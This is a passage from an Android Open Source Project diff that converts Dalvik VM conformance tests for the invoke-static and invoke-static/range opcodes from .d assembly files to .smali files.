-.limit regs 8
-
-       invoke-static {v7}, dot/junit/opcodes/invoke_static/d/TTestInterface/test()V
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..fa9f094
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_static/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..e2e840c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_static/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/T_invoke_static_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/T_invoke_static_24.smali
new file mode 100644
index 0000000..52c37c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/T_invoke_static_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_24;
+.super Ldot/junit/opcodes/invoke_static/d/TTestInterfaceImpl;
+.source "T_invoke_static_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_static/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-static {p0}, Ldot/junit/opcodes/invoke_static/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.d
deleted file mode 100644
index 321761f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_3.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali
new file mode 100644
index 0000000..5adf1ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_3.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.d
deleted file mode 100644
index 4212854..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_4.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_4
-.super java/lang/Object
-
-.field static val J
-
-.method static <clinit>()V
-.limit regs 2
-
-       const-wide/32 v0, 123456789
-       sput-wide v0, dot.junit.opcodes.invoke_static.d.T_invoke_static_4.val J
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 4
-Label0:
-       sget-wide v2, dot.junit.opcodes.invoke_static.d.T_invoke_static_4.val J
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali
new file mode 100644
index 0000000..ab8bf27
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_4.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;
+.super  Ljava/lang/Object;
+
+.field static val:J
+
+.method static constructor <clinit>()V
+.registers 2
+
+       const-wide/32 v0, 123456789
+       sput-wide v0, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;->val:J
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 4
+:Label0
+       sget-wide v2, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;->val:J
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.d
deleted file mode 100644
index a3c8c91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_5.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 5
-       invoke-static {v2}, dot/junit/opcodes/invoke_static/d/T_invoke_static_5/test(I)I
-       move-result v0
-       return v0
-.end method
-
-.method public test(I)I
-.limit regs 5
-
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali
new file mode 100644
index 0000000..5de1192
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_5.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 5
+       invoke-static {v2}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_5;->test(I)I
+       move-result v0
+       return v0
+.end method
+
+.method public test(I)I
+.registers 5
+
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.d
deleted file mode 100644
index 969e499..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_6.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static native test()V
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/d/T_invoke_static_6/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.smali
new file mode 100644
index 0000000..8d8161f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_6;
+.super Ljava/lang/Object;
+.source "T_invoke_static_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static native test()V
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_6;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.d
deleted file mode 100644
index b58d3b2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_7.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/d/T_invoke_static_7/testN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali
new file mode 100644
index 0000000..e0e6751
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_7.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_7;->testN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.d
deleted file mode 100644
index 9a4d964..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_8.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-static {}, dot/junit/opcodes/invoke_static/TestClass/testPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali
new file mode 100644
index 0000000..d61ef42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_8.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->testPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.d
deleted file mode 100644
index 1f8dac7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_1.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static/range {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali
new file mode 100644
index 0000000..536369b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.d
deleted file mode 100644
index 994973f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_10.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_10
-.super java/lang/Object
-
-
-
-.method static <clinit>()V
-    return-void
-.end method
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali
new file mode 100644
index 0000000..1371ce6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10;
+.super  Ljava/lang/Object;
+
+
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.d
deleted file mode 100644
index 2b7131f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_11.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static/range {}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali
new file mode 100644
index 0000000..35ec02d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.d
deleted file mode 100644
index dca327b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_13.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 3.14
-
-       invoke-static/range {v1}, dot/junit/opcodes/invoke_static_range/TestClass/test1(F)I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.smali
new file mode 100644
index 0000000..133106e
--- /dev/null
